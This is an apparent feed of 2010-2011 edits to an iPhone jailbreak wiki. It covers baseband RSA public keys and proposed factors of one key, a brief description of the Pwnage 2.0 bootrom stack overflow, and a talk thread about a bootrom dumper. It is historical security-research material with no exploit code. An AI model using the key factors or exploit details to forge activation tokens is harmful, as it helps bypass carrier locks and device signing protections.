 f8 48 dc 32 1b f8 a1 ff 7e 26 56 0e ce 77 95 0f&lt;br /&gt;
&lt;br /&gt;
(not prime) f2  = &lt;br /&gt;
 24 95 0d 4a 72 24 f5 6a 15 5f 6f 58 e3 3b f9 92 &lt;br /&gt;
 c5 fb 21 5c bb 9d a3 8a 63 62 1c 91 90 89 f0 4a &lt;br /&gt;
 10 2e c8 86 17 78 13 0f a7 fd 73 31 aa f0 8c a3 &lt;br /&gt;
 63 88 e9 4d 51 d6 db cf 80 4e 6d df 12 f9 20 ab &lt;br /&gt;
 f9 d3 4a 17 b1 77 76 6c 9a fa 4a 62 5a dc b1 5e &lt;br /&gt;
 98 d3 3f 6e fa 24 ce ae ba 08 8c d8 c3 8c 1a ad &lt;br /&gt;
 e2 c2 bc cd c3 04 05 59 92 00 7d 8e 06 20 e5 de &lt;br /&gt;
 2f 11 f6 e0 7&lt;br /&gt;
&lt;br /&gt;
(not prime) f1 = &lt;br /&gt;
 20 f1 89 de ed 41 e6 df eb ea 2c 19 38 47 3b 29 &lt;br /&gt;
 25 bb 00 af 02 32 bd f5 52 31 de b9&lt;br /&gt;
&lt;br /&gt;
* Key3 = f1*f2. Please verify, thanks. yafu might be buggy&lt;br /&gt;
[[Category:Baseband]]&lt;/div&gt;</summary>
		<author><name>Paul0</name></author>
		
	</entry>
	<entry>
		<id>https://www.theiphonewiki.com/w/index.php?title=Baseband_RSA_Keys&amp;diff=16839</id>
		<title>Baseband RSA Keys</title>
		<link rel="alternate" type="text/html" href="https://www.theiphonewiki.com/w/index.php?title=Baseband_RSA_Keys&amp;diff=16839"/>
		<updated>2011-03-15T17:35:37Z</updated>

		<summary type="html">&lt;p&gt;Paul0: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;These are the keys shared between the [[S-Gold 2]] and the [[X-Gold 608]]&lt;br /&gt;
&lt;br /&gt;
==Key 1==&lt;br /&gt;
This is used to validate the NCK token and decrypt secpack certificates.&lt;br /&gt;
&lt;br /&gt;
Modulus length 0x400 bits, Exponent 0x3&lt;br /&gt;
 0B 23 AE BA E3 75 7B 9D CE 44 58 8C CF 53 CC B0&lt;br /&gt;
 73 F9 06 57 64 37 A0 6C 68 F4 91 4E 7A 82 CB 6E&lt;br /&gt;
 12 CF FD 31 39 51 4C 06 C0 E9 CE A0 27 17 D6 95&lt;br /&gt;
 FB DF 94 26 B2 1C C1 73 24 06 E3 A8 C2 0F 5D A3&lt;br /&gt;
 41 6B D8 84 CB D0 EB 2E F9 DE 2F 21 78 DA C3 4D&lt;br /&gt;
 AF B9 BA D8 4B 7C 16 E2 CF 16 7A 1B 57 33 4F 26&lt;br /&gt;
 4D 53 26 FD 8E 38 B6 23 CE 5E B4 81 80 2B C0 FB&lt;br /&gt;
 9F 33 E1 3F 65 A2 49 C9 3F 08 6C 37 61 4B B7 C7&lt;br /&gt;
&lt;br /&gt;
==Key 2==&lt;br /&gt;
This is used to sign Key 3 in the [[WildcardTicket|wildcard ticket]] that is part of the [[activation token]].&lt;br /&gt;
&lt;br /&gt;
Modulus length 0x400 bits, Exponent 0x3&lt;br /&gt;
 05 BC 9F 4E 87 0C F9 A2 D8 DA 19 D8 14 82 B2 54&lt;br /&gt;
 3F 32 4D 08 0B AE 22 01 86 43 A1 0E 18 7A D1 F2&lt;br /&gt;
 4F CB 34 C6 10 C2 72 DB E3 B5 29 79 B2 80 34 E1&lt;br /&gt;
 4F A4 27 85 C5 04 57 4A 37 88 AD 9A 6B 57 C5 E0&lt;br /&gt;
 4F E5 89 80 1E ED AC 72 78 B1 73 05 FC 5E D1 3D&lt;br /&gt;
 46 9F 66 C4 B5 B4 4B 9E 87 8C 2E 3C BD 0C 15 AA&lt;br /&gt;
 D1 D5 57 71 00 D6 10 F7 96 E2 CF AC 60 53 57 C7&lt;br /&gt;
 65 AD 1D CB BC 5F 49 FD B5 ED EA B3 21 30 66 EA&lt;br /&gt;
&lt;br /&gt;
==Key 3==&lt;br /&gt;
This is used for signing in the [[WildcardTicket|wildcard ticket]]. The serial number is 1.&lt;br /&gt;
&lt;br /&gt;
Modulus length 0x400 bits, Exponent 0x3&lt;br /&gt;
 4b 52 5a e7 09 fd 94 14 3f d9 6e c6 88 c8 ce cc &lt;br /&gt;
 6e b7 43 89 05 d9 b2 8b a5 58 3d b4 cc 19 c3 31 &lt;br /&gt;
 ff 09 e7 11 2e 26 be b4 76 62 20 82 76 ed 96 d5 &lt;br /&gt;
 22 77 10 b7 6d ef 09 64 fb 2c cc b8 d1 5b 68 5d &lt;br /&gt;
 61 15 64 a3 32 df 3d 6c 7d 8e 2c 04 e0 9f 6d 15 &lt;br /&gt;
 9e 5e 9a 68 c2 d6 67 c8 fd 65 03 c3 ab 49 b8 4b &lt;br /&gt;
 94 f5 c4 ca 53 91 4b 9d 7b be 68 2b 92 95 56 68 &lt;br /&gt;
 fa 89 8e 3a 17 38 76 77 df 0f 90 b0 a0 46 1c f3 &lt;br /&gt;
 f8 48 dc 32 1b f8 a1 ff 7e 26 56 0e ce 77 95 0f&lt;br /&gt;
&lt;br /&gt;
f2  = &lt;br /&gt;
 24 95 0d 4a 72 24 f5 6a 15 5f 6f 58 e3 3b f9 92 &lt;br /&gt;
 c5 fb 21 5c bb 9d a3 8a 63 62 1c 91 90 89 f0 4a &lt;br /&gt;
 10 2e c8 86 17 78 13 0f a7 fd 73 31 aa f0 8c a3 &lt;br /&gt;
 63 88 e9 4d 51 d6 db cf 80 4e 6d df 12 f9 20 ab &lt;br /&gt;
 f9 d3 4a 17 b1 77 76 6c 9a fa 4a 62 5a dc b1 5e &lt;br /&gt;
 98 d3 3f 6e fa 24 ce ae ba 08 8c d8 c3 8c 1a ad &lt;br /&gt;
 e2 c2 bc cd c3 04 05 59 92 00 7d 8e 06 20 e5 de &lt;br /&gt;
 2f 11 f6 e0 7&lt;br /&gt;
&lt;br /&gt;
(not prime) f1 = &lt;br /&gt;
 20 f1 89 de ed 41 e6 df eb ea 2c 19 38 47 3b 29 &lt;br /&gt;
 25 bb 00 af 02 32 bd f5 52 31 de b9&lt;br /&gt;
&lt;br /&gt;
* Please verify, thanks&lt;br /&gt;
[[Category:Baseband]]&lt;/div&gt;</summary>
		<author><name>Paul0</name></author>
		
	</entry>
	<entry>
		<id>https://www.theiphonewiki.com/w/index.php?title=Baseband_RSA_Keys&amp;diff=16838</id>
		<title>Baseband RSA Keys</title>
		<link rel="alternate" type="text/html" href="https://www.theiphonewiki.com/w/index.php?title=Baseband_RSA_Keys&amp;diff=16838"/>
		<updated>2011-03-15T17:24:48Z</updated>

		<summary type="html">&lt;p&gt;Paul0: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;These are the keys shared between the [[S-Gold 2]] and the [[X-Gold 608]]&lt;br /&gt;
&lt;br /&gt;
==Key 1==&lt;br /&gt;
This is used to validate the NCK token and decrypt secpack certificates.&lt;br /&gt;
&lt;br /&gt;
Modulus length 0x400 bits, Exponent 0x3&lt;br /&gt;
 0B 23 AE BA E3 75 7B 9D CE 44 58 8C CF 53 CC B0&lt;br /&gt;
 73 F9 06 57 64 37 A0 6C 68 F4 91 4E 7A 82 CB 6E&lt;br /&gt;
 12 CF FD 31 39 51 4C 06 C0 E9 CE A0 27 17 D6 95&lt;br /&gt;
 FB DF 94 26 B2 1C C1 73 24 06 E3 A8 C2 0F 5D A3&lt;br /&gt;
 41 6B D8 84 CB D0 EB 2E F9 DE 2F 21 78 DA C3 4D&lt;br /&gt;
 AF B9 BA D8 4B 7C 16 E2 CF 16 7A 1B 57 33 4F 26&lt;br /&gt;
 4D 53 26 FD 8E 38 B6 23 CE 5E B4 81 80 2B C0 FB&lt;br /&gt;
 9F 33 E1 3F 65 A2 49 C9 3F 08 6C 37 61 4B B7 C7&lt;br /&gt;
&lt;br /&gt;
==Key 2==&lt;br /&gt;
This is used to sign Key 3 in the [[WildcardTicket|wildcard ticket]] that is part of the [[activation token]].&lt;br /&gt;
&lt;br /&gt;
Modulus length 0x400 bits, Exponent 0x3&lt;br /&gt;
 05 BC 9F 4E 87 0C F9 A2 D8 DA 19 D8 14 82 B2 54&lt;br /&gt;
 3F 32 4D 08 0B AE 22 01 86 43 A1 0E 18 7A D1 F2&lt;br /&gt;
 4F CB 34 C6 10 C2 72 DB E3 B5 29 79 B2 80 34 E1&lt;br /&gt;
 4F A4 27 85 C5 04 57 4A 37 88 AD 9A 6B 57 C5 E0&lt;br /&gt;
 4F E5 89 80 1E ED AC 72 78 B1 73 05 FC 5E D1 3D&lt;br /&gt;
 46 9F 66 C4 B5 B4 4B 9E 87 8C 2E 3C BD 0C 15 AA&lt;br /&gt;
 D1 D5 57 71 00 D6 10 F7 96 E2 CF AC 60 53 57 C7&lt;br /&gt;
 65 AD 1D CB BC 5F 49 FD B5 ED EA B3 21 30 66 EA&lt;br /&gt;
&lt;br /&gt;
==Key 3==&lt;br /&gt;
This is used for signing in the [[WildcardTicket|wildcard ticket]]. The serial number is 1.&lt;br /&gt;
&lt;br /&gt;
Modulus length 0x400 bits, Exponent 0x3&lt;br /&gt;
 4b 52 5a e7 09 fd 94 14 3f d9 6e c6 88 c8 ce cc &lt;br /&gt;
 6e b7 43 89 05 d9 b2 8b a5 58 3d b4 cc 19 c3 31 &lt;br /&gt;
 ff 09 e7 11 2e 26 be b4 76 62 20 82 76 ed 96 d5 &lt;br /&gt;
 22 77 10 b7 6d ef 09 64 fb 2c cc b8 d1 5b 68 5d &lt;br /&gt;
 61 15 64 a3 32 df 3d 6c 7d 8e 2c 04 e0 9f 6d 15 &lt;br /&gt;
 9e 5e 9a 68 c2 d6 67 c8 fd 65 03 c3 ab 49 b8 4b &lt;br /&gt;
 94 f5 c4 ca 53 91 4b 9d 7b be 68 2b 92 95 56 68 &lt;br /&gt;
 fa 89 8e 3a 17 38 76 77 df 0f 90 b0 a0 46 1c f3 &lt;br /&gt;
 f8 48 dc 32 1b f8 a1 ff 7e 26 56 0e ce 77 95 0f&lt;br /&gt;
&lt;br /&gt;
f2  = &lt;br /&gt;
 24 95 0d 4a 72 24 f5 6a 15 5f 6f 58 e3 3b f9 92 &lt;br /&gt;
 c5 fb 21 5c bb 9d a3 8a 63 62 1c 91 90 89 f0 4a &lt;br /&gt;
 10 2e c8 86 17 78 13 0f a7 fd 73 31 aa f0 8c a3 &lt;br /&gt;
 63 88 e9 4d 51 d6 db cf 80 4e 6d df 12 f9 20 ab &lt;br /&gt;
 f9 d3 4a 17 b1 77 76 6c 9a fa 4a 62 5a dc b1 5e &lt;br /&gt;
 98 d3 3f 6e fa 24 ce ae ba 08 8c d8 c3 8c 1a ad &lt;br /&gt;
 e2 c2 bc cd c3 04 05 59 92 00 7d 8e 06 20 e5 de &lt;br /&gt;
 2f 11 f6 e0 7&lt;br /&gt;
&lt;br /&gt;
f1 = &lt;br /&gt;
 20 f1 89 de ed 41 e6 df eb ea 2c 19 38 47 3b 29 &lt;br /&gt;
 25 bb 00 af 02 32 bd f5 52 31 de b9&lt;br /&gt;
&lt;br /&gt;
* Please verify, thanks&lt;br /&gt;
[[Category:Baseband]]&lt;/div&gt;</summary>
		<author><name>Paul0</name></author>
		
	</entry>
	<entry>
		<id>https://www.theiphonewiki.com/w/index.php?title=Baseband_RSA_Keys&amp;diff=16837</id>
		<title>Baseband RSA Keys</title>
		<link rel="alternate" type="text/html" href="https://www.theiphonewiki.com/w/index.php?title=Baseband_RSA_Keys&amp;diff=16837"/>
		<updated>2011-03-15T17:20:31Z</updated>

		<summary type="html">&lt;p&gt;Paul0: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;These are the keys shared between the [[S-Gold 2]] and the [[X-Gold 608]]&lt;br /&gt;
&lt;br /&gt;
==Key 1==&lt;br /&gt;
This is used to validate the NCK token and decrypt secpack certificates.&lt;br /&gt;
&lt;br /&gt;
Modulus length 0x400 bits, Exponent 0x3&lt;br /&gt;
 0B 23 AE BA E3 75 7B 9D CE 44 58 8C CF 53 CC B0&lt;br /&gt;
 73 F9 06 57 64 37 A0 6C 68 F4 91 4E 7A 82 CB 6E&lt;br /&gt;
 12 CF FD 31 39 51 4C 06 C0 E9 CE A0 27 17 D6 95&lt;br /&gt;
 FB DF 94 26 B2 1C C1 73 24 06 E3 A8 C2 0F 5D A3&lt;br /&gt;
 41 6B D8 84 CB D0 EB 2E F9 DE 2F 21 78 DA C3 4D&lt;br /&gt;
 AF B9 BA D8 4B 7C 16 E2 CF 16 7A 1B 57 33 4F 26&lt;br /&gt;
 4D 53 26 FD 8E 38 B6 23 CE 5E B4 81 80 2B C0 FB&lt;br /&gt;
 9F 33 E1 3F 65 A2 49 C9 3F 08 6C 37 61 4B B7 C7&lt;br /&gt;
&lt;br /&gt;
==Key 2==&lt;br /&gt;
This is used to sign Key 3 in the [[WildcardTicket|wildcard ticket]] that is part of the [[activation token]].&lt;br /&gt;
&lt;br /&gt;
Modulus length 0x400 bits, Exponent 0x3&lt;br /&gt;
 05 BC 9F 4E 87 0C F9 A2 D8 DA 19 D8 14 82 B2 54&lt;br /&gt;
 3F 32 4D 08 0B AE 22 01 86 43 A1 0E 18 7A D1 F2&lt;br /&gt;
 4F CB 34 C6 10 C2 72 DB E3 B5 29 79 B2 80 34 E1&lt;br /&gt;
 4F A4 27 85 C5 04 57 4A 37 88 AD 9A 6B 57 C5 E0&lt;br /&gt;
 4F E5 89 80 1E ED AC 72 78 B1 73 05 FC 5E D1 3D&lt;br /&gt;
 46 9F 66 C4 B5 B4 4B 9E 87 8C 2E 3C BD 0C 15 AA&lt;br /&gt;
 D1 D5 57 71 00 D6 10 F7 96 E2 CF AC 60 53 57 C7&lt;br /&gt;
 65 AD 1D CB BC 5F 49 FD B5 ED EA B3 21 30 66 EA&lt;br /&gt;
&lt;br /&gt;
==Key 3==&lt;br /&gt;
This is used for signing in the [[WildcardTicket|wildcard ticket]]. The serial number is 1.&lt;br /&gt;
&lt;br /&gt;
Modulus length 0x400 bits, Exponent 0x3&lt;br /&gt;
 4b 52 5a e7 09 fd 94 14 3f d9 6e c6 88 c8 ce cc &lt;br /&gt;
 6e b7 43 89 05 d9 b2 8b a5 58 3d b4 cc 19 c3 31 &lt;br /&gt;
 ff 09 e7 11 2e 26 be b4 76 62 20 82 76 ed 96 d5 &lt;br /&gt;
 22 77 10 b7 6d ef 09 64 fb 2c cc b8 d1 5b 68 5d &lt;br /&gt;
 61 15 64 a3 32 df 3d 6c 7d 8e 2c 04 e0 9f 6d 15 &lt;br /&gt;
 9e 5e 9a 68 c2 d6 67 c8 fd 65 03 c3 ab 49 b8 4b &lt;br /&gt;
 94 f5 c4 ca 53 91 4b 9d 7b be 68 2b 92 95 56 68 &lt;br /&gt;
 fa 89 8e 3a 17 38 76 77 df 0f 90 b0 a0 46 1c f3 &lt;br /&gt;
 f8 48 dc 32 1b f8 a1 ff 7e 26 56 0e ce 77 95 0f&lt;br /&gt;
&lt;br /&gt;
f2  = 0x24950d4a7224f56a155f6f58e33bf992c5fb215cbb9da38a63621c919089f04a102ec886&lt;br /&gt;
1778130fa7fd7331aaf08ca36388e94d51d6dbcf804e6ddf12f920abf9d34a17b177766c9afa4a62&lt;br /&gt;
5adcb15e98d33f6efa24ceaeba088cd8c38c1aade2c2bccdc304055992007d8e0620e5de2f11f6e0&lt;br /&gt;
7&lt;br /&gt;
&lt;br /&gt;
f1 = 0x20f189deed41e6dfebea2c1938473b2925bb00af0232bdf55231deb9&lt;br /&gt;
&lt;br /&gt;
* Please verify, thanks&lt;br /&gt;
[[Category:Baseband]]&lt;/div&gt;</summary>
		<author><name>Paul0</name></author>
		
	</entry>
	<entry>
		<id>https://www.theiphonewiki.com/w/index.php?title=Pwnage_2.0&amp;diff=16836</id>
		<title>Pwnage 2.0</title>
		<link rel="alternate" type="text/html" href="https://www.theiphonewiki.com/w/index.php?title=Pwnage_2.0&amp;diff=16836"/>
		<updated>2011-03-15T08:52:02Z</updated>

		<summary type="html">&lt;p&gt;Paul0: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;This exploit in the [[VROM (S5L8900)|S5L8900 bootrom]] is really the ultimate exploit, since it allows unsigned code to be run at the lowest level. It is available in all devices that use the [[S5L8900]] - the [[M68ap|iPhone]], [[N45ap|iPod Touch]] and [[N82ap|iPhone 3G]]. It is also available on some non-iOS iPods.&lt;br /&gt;
&lt;br /&gt;
==Credit==&lt;br /&gt;
[[iPhone Dev Team]]&lt;br /&gt;
&lt;br /&gt;
==Exploit==&lt;br /&gt;
There is a stack overflow in the certificate parsing code. By passing a malformed certificate, unsigned code can be run.&lt;br /&gt;
&lt;br /&gt;
==Implementations==&lt;br /&gt;
*[[PwnageTool]]&lt;br /&gt;
*[[QuickPwn]]&lt;br /&gt;
*[[WinPwn]]&lt;br /&gt;
*[[redsn0w]]&lt;br /&gt;
*[[iran]]&lt;br /&gt;
&lt;br /&gt;
[[Category:Bootrom Exploits]]&lt;/div&gt;</summary>
		<author><name>Paul0</name></author>
		
	</entry>
	<entry>
		<id>https://www.theiphonewiki.com/w/index.php?title=Talk:Bootrom_Dumper_Utility&amp;diff=16108</id>
		<title>Talk:Bootrom Dumper Utility</title>
		<link rel="alternate" type="text/html" href="https://www.theiphonewiki.com/w/index.php?title=Talk:Bootrom_Dumper_Utility&amp;diff=16108"/>
		<updated>2011-02-13T10:38:37Z</updated>

		<summary type="html">&lt;p&gt;Paul0: /* vmware + windows */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;If anyone gets it working for iPod touch 2G let me know. I am trying to work on it, but not much spare time --[[User:JacobVengeance|JakeAnthraX]] 07:27, 23 December 2010 (UTC)&lt;br /&gt;
:[https://github.com/liamchat/Bootrom-Dumper/tree/master/stake4uce my fork] should work --[[User:Liamchat|liamchat]] 16:27, 24 December 2010 (UTC)&lt;br /&gt;
:You can also use the current iPod touch 2G openiBoot [https://github.com/kleemajo/openiBoot link]. The bootrom is at 0x20000000 on the 2g touch --[[User:Kleemajo|Kleemajo]] 01:02, 26 December 2010 (UTC)&lt;br /&gt;
::I ended up making my own very crappy steaks4uce version to dump it. I didn't realize you made a version liam, nice job. Also where did you guys get your ARM toolchain? The one I use keeps breaking and giving me errors lately.--[[User:JacobVengeance|JakeAnthraX]] 03:38, 29 December 2010 (UTC)&lt;br /&gt;
::: i use  sudo port install arm-elf-binutils and sudo port instal arm-elf-gcc--[[User:Liamchat|liamchat]] 10:56, 29 December 2010 (UTC)&lt;br /&gt;
:::: Using that I just get errors when compiling everything. I had it working on my last setup when I wrote my crappy syeaks4uce method, but now it isn't working. I will figure it out sooner or later. Thanks anyways. --[[User:JacobVengeance|JakeAnthraX]] 22:45, 29 December 2010 (UTC)&lt;br /&gt;
use toolchain.txt from openiboot, it works perfect --[[User:Posixninja|posixninja]] 23:41, 29 December 2010 (UTC)&lt;br /&gt;
&lt;br /&gt;
== vmware + windows ==&lt;br /&gt;
&lt;br /&gt;
anyone tried this on vmware + windows? can't make it work. tried on iphone 4g &amp;amp; ipod 3g -- [[User:Paul0|paulzero]] 10:38, 13 February 2011 (UTC)&lt;/div&gt;</summary>
		<author><name>Paul0</name></author>
		
	</entry>
	<entry>
		<id>https://www.theiphonewiki.com/w/index.php?title=Talk:Bootrom_Dumper_Utility&amp;diff=16107</id>
		<title>Talk:Bootrom Dumper Utility</title>
		<link rel="alternate" type="text/html" href="https://www.theiphonewiki.com/w/index.php?title=Talk:Bootrom_Dumper_Utility&amp;diff=16107"/>
		<updated>2011-02-13T10:38:13Z</updated>

		<summary type="html">&lt;p&gt;Paul0: /* vmware + windows */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;If anyone gets it working for iPod touch 2G let me know. I am trying to work on it, but not much spare time --[[User:JacobVengeance|JakeAnthraX]] 07:27, 23 December 2010 (UTC)&lt;br /&gt;
:[https://github.com/liamchat/Bootrom-Dumper/tree/master/stake4uce my fork] should work --[[User:Liamchat|liamchat]] 16:27, 24 December 2010 (UTC)&lt;br /&gt;
:You can also use the current iPod touch 2G openiBoot [https://github.com/kleemajo/openiBoot link]. The bootrom is at 0x20000000 on the 2g touch --[[User:Kleemajo|Kleemajo]] 01:02, 26 December 2010 (UTC)&lt;br /&gt;
::I ended up making my own very crappy steaks4uce version to dump it. I didn't realize you made a version liam, nice job. Also where did you guys get your ARM toolchain? The one I use keeps breaking and giving me errors lately.--[[User:JacobVengeance|JakeAnthraX]] 03:38, 29 December 2010 (UTC)&lt;br /&gt;
::: i use  sudo port install arm-elf-binutils and sudo port instal arm-elf-gcc--[[User:Liamchat|liamchat]] 10:56, 29 December 2010 (UTC)&lt;br /&gt;
:::: Using that I just get errors when compiling everything. I had it working on my last setup when I wrote my crappy syeaks4uce method, but now it isn't working. I will figure it out sooner or later. Thanks anyways. --[[User:JacobVengeance|JakeAnthraX]] 22:45, 29 December 2010 (UTC)&lt;br /&gt;
use toolchain.txt from openiboot, it works perfect --[[User:Posixninja|posixninja]] 23:41, 29 December 2010 (UTC)&lt;br /&gt;
&lt;br /&gt;
== vmware + windows ==&lt;br /&gt;
&lt;br /&gt;
anyone tried this on vmware + windows? can't make it work. tried on iphone 4g &amp;amp; ipod 3g [[User:Paul0|paulzero]]&lt;/div&gt;</summary>
		<author><name>Paul0</name></author>
		
	</entry>
	<entry>
		<id>https://www.theiphonewiki.com/w/index.php?title=Talk:Bootrom_Dumper_Utility&amp;diff=16106</id>
		<title>Talk:Bootrom Dumper Utility</title>
		<link rel="alternate" type="text/html" href="https://www.theiphonewiki.com/w/index.php?title=Talk:Bootrom_Dumper_Utility&amp;diff=16106"/>
		<updated>2011-02-13T10:37:50Z</updated>

		<summary type="html">&lt;p&gt;Paul0: /* vmware + windows */ new section&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;If anyone gets it working for iPod touch 2G let me know. I am trying to work on it, but not much spare time --[[User:JacobVengeance|JakeAnthraX]] 07:27, 23 December 2010 (UTC)&lt;br /&gt;
:[https://github.com/liamchat/Bootrom-Dumper/tree/master/stake4uce my fork] should work --[[User:Liamchat|liamchat]] 16:27, 24 December 2010 (UTC)&lt;br /&gt;
:You can also use the current iPod touch 2G openiBoot [https://github.com/kleemajo/openiBoot link]. The bootrom is at 0x20000000 on the 2g touch --[[User:Kleemajo|Kleemajo]] 01:02, 26 December 2010 (UTC)&lt;br /&gt;
::I ended up making my own very crappy steaks4uce version to dump it. I didn't realize you made a version liam, nice job. Also where did you guys get your ARM toolchain? The one I use keeps breaking and giving me errors lately.--[[User:JacobVengeance|JakeAnthraX]] 03:38, 29 December 2010 (UTC)&lt;br /&gt;
::: i use  sudo port install arm-elf-binutils and sudo port instal arm-elf-gcc--[[User:Liamchat|liamchat]] 10:56, 29 December 2010 (UTC)&lt;br /&gt;
:::: Using that I just get errors when compiling everything. I had it working on my last setup when I wrote my crappy syeaks4uce method, but now it isn't working. I will figure it out sooner or later. Thanks anyways. --[[User:JacobVengeance|JakeAnthraX]] 22:45, 29 December 2010 (UTC)&lt;br /&gt;
use toolchain.txt from openiboot, it works perfect --[[User:Posixninja|posixninja]] 23:41, 29 December 2010 (UTC)&lt;br /&gt;
&lt;br /&gt;
== vmware + windows ==&lt;br /&gt;
&lt;br /&gt;
anyone tried this on vmware + windows? can't make it work. tried on iphone 4g &amp;amp; ipod 3g&lt;/div&gt;</summary>
		<author><name>Paul0</name></author>
		
	</entry>
	<entry>
		<id>https://www.theiphonewiki.com/w/index.php?title=User:Paul0&amp;diff=7885</id>
		<title>User:Paul0</title>
		<link rel="alternate" type="text/html" href="https://www.theiphonewiki.com/w/index.php?title=User:Paul0&amp;diff=7885"/>
		<updated>2010-08-04T13:15:37Z</updated>

		<summary type="html">&lt;p&gt;Paul0: Replacing page with 'just awesome.'&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;just awesome.&lt;/div&gt;</summary>
		<author><name>Paul0</name></author>
		
	</entry>
	<entry>
		<id>https://www.theiphonewiki.com/w/index.php?title=Talk:25C3_presentation_%22Hacking_the_iPhone%22&amp;diff=7884</id>
		<title>Talk:25C3 presentation &quot;Hacking the iPhone&quot;</title>
		<link rel="alternate" type="text/html" href="https://www.theiphonewiki.com/w/index.php?title=Talk:25C3_presentation_%22Hacking_the_iPhone%22&amp;diff=7884"/>
		<updated>2010-08-04T13:15:01Z</updated>

		<summary type="html">&lt;p&gt;Paul0: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Transcript ==&lt;br /&gt;
&lt;br /&gt;
I am planning to put the full text of this talk into here and link all keywords within this Wiki. This would be a great help for all new hackers. I already contacted the authors, but did not get a response. And because this was a public speech and is quite old now, I assume this is ok for them. Let me know if not. --[[User:Http|http]] 23:14, 13 July 2010 (UTC)&lt;br /&gt;
&lt;br /&gt;
Thanks HTTP! [[User:Iemit737|Iemit737]] 03:08, 17 July 2010 (UTC)&lt;br /&gt;
&lt;br /&gt;
Part 1 is online now (slides will follow). Feel free to correct, especially the native english speakers, as there are some strange statements. Also the links may be improved perhaps. -- [[User:Http|http]] 22:48, 18 July 2010 (UTC)&lt;br /&gt;
&lt;br /&gt;
this is great :D --[[User:Paul0|paulzero]] 13:15, 4 August 2010 (UTC)&lt;br /&gt;
&lt;br /&gt;
== Presentation file ==&lt;br /&gt;
&lt;br /&gt;
To MuscleNerd: can you make the presentation file available? Can't read the slides in the Vimeo video. Thanks * -- [[User:DecoDe|DecoDe]]&lt;br /&gt;
&lt;br /&gt;
To DecoDe: I have an FLV file of it I can upload tomorrow, if someone hasn't done it before me by then. -- [[User:MaybachMan|MaybachMan]] 21:06, 14 July 2010 (UTC)&lt;br /&gt;
&lt;br /&gt;
See the new article page. All conference recordings are there, but the slides are still missing. -- [[User:Http|http]] 22:36, 14 July 2010 (UTC)&lt;br /&gt;
&lt;br /&gt;
The H264 video link lacks audio. Should we make a note of that or something? [[User:MaybachMan|MaybachMan]] 07:52, 15 July 2010 (UTC)&lt;br /&gt;
&lt;br /&gt;
No. Audio is included. But you need the right codecs. I know that it's quite difficult to get such old codecs working nowadays. -- [[User:Http|http]] 09:18, 15 July 2010 (UTC)&lt;br /&gt;
&lt;br /&gt;
It looks like [[planetbeing]] [http://twitter.com/planetbeing/status/18779415819 lost the slides]. I'm waiting for an answer from [[User:MuscleNerd|MuscleNerd]] or [[pytey]] now (to improve image quality). -- [[User:Http|http]] 23:11, 17 July 2010 (UTC)&lt;br /&gt;
&lt;br /&gt;
I'm not sure if we will ever receive the slides in original. Until then I thought I simply add the slides as screenshots from the video, although they are not in very good quality. I have them now on my harddisk. I also already included the first four images in the article. But I'm not sure if I should include all of them, because there are 75 images with a total size of 16MB. Should I include them? Or create a slideshow as PowerPoint or PDF from them and put it onto some public server and just include the link here? What do you think? -- [[User:Http|http]] 00:35, 19 July 2010 (UTC)&lt;/div&gt;</summary>
		<author><name>Paul0</name></author>
		
	</entry>
	<entry>
		<id>https://www.theiphonewiki.com/w/index.php?title=Bootrom&amp;diff=7882</id>
		<title>Bootrom</title>
		<link rel="alternate" type="text/html" href="https://www.theiphonewiki.com/w/index.php?title=Bootrom&amp;diff=7882"/>
		<updated>2010-08-04T11:55:03Z</updated>

		<summary type="html">&lt;p&gt;Paul0: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Introduction / old+new==&lt;br /&gt;
&lt;br /&gt;
The bootrom is the first significant code that runs on an iDevice. The bootrom is unwritable. Finding exploits in the bootrom level is a big achievement since Apple won't be able to fix it without a hardware revision.&lt;br /&gt;
&lt;br /&gt;
Often users refer to '''old bootrom''' or '''new bootrom''' devices. The '''new bootrom''' devices were released after [[Timeline#September|9 September 2009]] and have the [[0x24000 Segment Overflow]] fixed. Therefore these newer versions of the [[N72ap|iPod touch 2G]] and [[N88ap|iPhone 3GS]] are not vulnerable to this exploit and had only a [[tethered]] [[jailbreak]]/[[unlock]] until [[Spirit]] came out. Currently, these devices can be jailbroken on iOS 4.0 with [[Star]].&lt;br /&gt;
&lt;br /&gt;
Please see also [[IBoot|Apple's stage 2 bootloader]], which also uses the &amp;quot;iBoot&amp;quot; name.&lt;br /&gt;
&lt;br /&gt;
==Check bootrom version==&lt;br /&gt;
To find out if you have an old or new bootrom, the easiest way is to look at the serial number. If the 4th and 5th digits are lower than 40, then you probably have an old bootrom. If they are higher than 45, then you probably have a new bootrom. These two digits show the production week. For refurbished phones and for numbers inbetween, the result is undefined and you have to make the following exact check.&lt;br /&gt;
&lt;br /&gt;
To check your device's bootrom version, you must put your device into [[DFU]] mode. Make sure it is '''not''' in [[Recovery Mode]], as Recovery Mode does not mention the bootrom version. If you have Mac OS X, go to System Profiler, and under the &amp;quot;Hardware&amp;quot; category, go to USB, and click on &amp;quot;Apple Mobile Device (DFU Mode).&amp;quot; If you have Windows, go to Device Manager, find USB controller, subitem Apple Mobile Device USB Driver. In Properties, Details, select Device Instance Path in the dropdown. The end of the info string will show the bootrom version.&lt;br /&gt;
&lt;br /&gt;
== Revisions ==&lt;br /&gt;
===[[S5L8900]], used in the [[M68ap|iPhone]], [[N45ap|iPod touch 1G]], and [[N82ap|iPhone 3G]]===&lt;br /&gt;
&lt;br /&gt;
===[[S5L8720]], used in the [[N72ap|iPod touch 2G]]===&lt;br /&gt;
* [[iBoot-240.4]] &amp;quot;old bootrom&amp;quot;&lt;br /&gt;
* [[iBoot-240.5.1]] &amp;quot;new bootrom&amp;quot;&lt;br /&gt;
&lt;br /&gt;
===[[S5L8920]], used in the [[N88ap|iPhone 3GS]]===&lt;br /&gt;
* [[iBoot-359.3]] &amp;quot;old bootrom&amp;quot;&lt;br /&gt;
* [[iBoot-359.3.2]] &amp;quot;new bootrom&amp;quot;&lt;br /&gt;
&lt;br /&gt;
===[[S5L8922]], used in the [[N18ap|iPod touch 3G]]===&lt;br /&gt;
